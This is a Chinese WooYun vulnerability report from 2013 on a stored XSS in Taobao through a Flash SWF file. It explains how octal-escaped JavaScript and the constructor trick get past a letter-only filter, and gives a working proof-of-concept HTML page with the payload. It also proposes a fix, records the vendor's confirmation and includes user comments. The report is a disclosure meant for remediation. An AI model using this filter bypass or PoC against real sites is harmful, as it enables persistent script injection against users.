当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040838

漏洞标题:一个flash的0day导致的淘宝网存储xss 【续集】

相关厂商:淘宝网

漏洞作者: 多多关照

提交时间:2013-10-24 08:17

修复时间:2013-12-08 08:18

公开时间:2013-12-08 08:18

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-24: 细节已通知厂商并且等待厂商处理中
2013-10-24: 厂商已经确认,细节仅向厂商公开
2013-11-03: 细节向核心白帽子及相关领域专家公开
2013-11-13: 细节向普通白帽子公开
2013-11-23: 细节向实习白帽子公开
2013-12-08: 细节向公众公开

简要描述:

今天看了http://www.wooyun.org/bugs/wooyun-2013-039481这个帖子,思路挺有意思!狂顶赞!不过作为一个职业的马甲,看了下淘宝对这个漏洞的修复措施,发现修复并不彻底,提交下!

详细说明:

反编译了一下http://acjstb.aliyun.com/actionlog/flash/JSocket.swf这个文件。
淘宝的修复代码如下:

public function getlso():String{
var _local1:SharedObject = SharedObject.getLocal("kj");
var _local2:RegExp = new RegExp("[a-zA-Z]");
if (_local1.data.key == undefined){
return ("");
};
if (_local2.test(_local1.data.key)){
this.setlso("");
return ("");
};
return (_local1.data.key);
}


可以看到,多加一个正则表达式,如果存储的key里存在 [a-zA-Z]的字符,则调用 setlso("");
把所有字母都过滤掉了,那么这样是否就完全不能执行JS代码了呢?
根据帖子( WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门) )作者neobyte的描述。
实际上执行的是JS代码。

eval(var __flash_temp = "returned value"; __flash_temp;)


我们来尝试构造一个不需要使用任何字母执行代码的版本。

var __flash_temp = "returned value\\"['substr']['constructor']('alert(1)')();//";


解释:
"字符串"['substr']['constructor'] 得到 function Function() { [native code] }
"字符串"['substr']['constructor']('alert(1)')() 等同于
Function('alert(1)')()
接着,我们把上面代码里的字符串全部使用8进制转义。

var __flash_temp = "returned value\\"['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')();//";


我们所输入的代码,实际上是

\"['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')();//


可以看到,不包含任何字母,这样可以成功绕过淘宝的过滤措施。
具体利用代码,见漏洞证明。

漏洞证明:

代码从原帖里直接复制过来的(代码版权归neobyte所有),只是把setlso的数据换了下。

<html>
<body>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function set(){document['JSocket'].setlso('\\"[\'\\163\\165\\142\\163\\164\\162\'][\'\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162\'](\'\\141\\154\\145\\162\\164\\50\\61\\51\')();//');}
setTimeout("set()",5000);
</script>
</body>
</html>


访问这个页面后,再访问 login.taobao.com即可看到效果。

QQ图片20131024024020.jpg

修复方案:

我觉得根据漏洞成因来看,正确的修复方式是,过滤掉数据里的 反斜线 \,而不是过滤字母。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-10-24 14:19

厂商回复:

感谢你对我们的支持与关注,该问题正在修复~~

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-24 08:51 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    看来职业马甲是核心白帽子额,目前那个漏洞只有核心白帽子才能看见额,擦。

  2. 2013-10-24 09:01 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @px1624 这是二哥的马甲我会乱说?

  3. 2013-10-24 09:05 | Mr.Jen ( 路人 | Rank:13 漏洞数:2 | 开放自由)

    这贴要火

  4. 2013-10-24 09:15 | jadore ( 路人 | Rank:7 漏洞数:6 | .....)

    太欺负人了 这马甲

  5. 2013-10-24 09:16 | clzzy ( 普通白帽子 | Rank:176 漏洞数:18 )

    mark

  6. 2013-10-24 09:16 | jdnehc ( 实习白帽子 | Rank:76 漏洞数:12 )

    这马甲...

  7. 2013-10-24 10:28 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)

    这货必是二哥,无疑,我会乱说...

  8. 2013-10-24 10:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    怀疑是结界师马甲

  9. 2013-10-24 12:06 | 过客 ( 实习白帽子 | Rank:42 漏洞数:13 )

    @xsser 二哥的马甲无疑,证据在 WooYun: 腾讯一处反射型XSS - 绕过方式比较奇葩 9 楼,帐号太多切换混乱了。

  10. 2013-10-24 13:28 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @过客 也有可能是pz的。

  11. 2013-10-24 13:29 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @过客 我一般操作马甲都是两个浏览器的。。

  12. 2013-10-24 15:52 | Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶,现在通用奖励越来越低了;离买保时捷卡...)

    这才是漏洞!高端!霸气!上档次~

  13. 2013-10-24 16:00 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)

    看了这货的洞子写作风格,是二哥,哎,我也是马甲:)

  14. 2013-10-24 16:48 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @带馅儿馒头 我日,好多rank的马甲

  15. 2013-10-24 20:43 | Jumbo小号 ( 路人 | Rank:1 漏洞数:1 | Jumbo小弟,我们兄弟遍布五湖四海。。。)

    看我名字就知道是马甲了←_←

  16. 2013-10-25 14:09 | 灵魂天使 ( 路人 | Rank:10 漏洞数:4 | 突然发现 路人甲才是最牛的)

    别瞎猜了 支付几个币就能看了

  17. 2013-11-28 20:25 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    二哥登错号了………………^_^

  18. 2013-12-12 10:41 | neobyte ( 普通白帽子 | Rank:117 漏洞数:11 )

    有意思^_^

  19. 2014-12-26 12:51 | bingfeng ( 路人 | Rank:10 漏洞数:3 | 万丈红尘三杯酒,千秋大业一壶茶。)

    小白 只能看开放帖,木有练习的机会耶~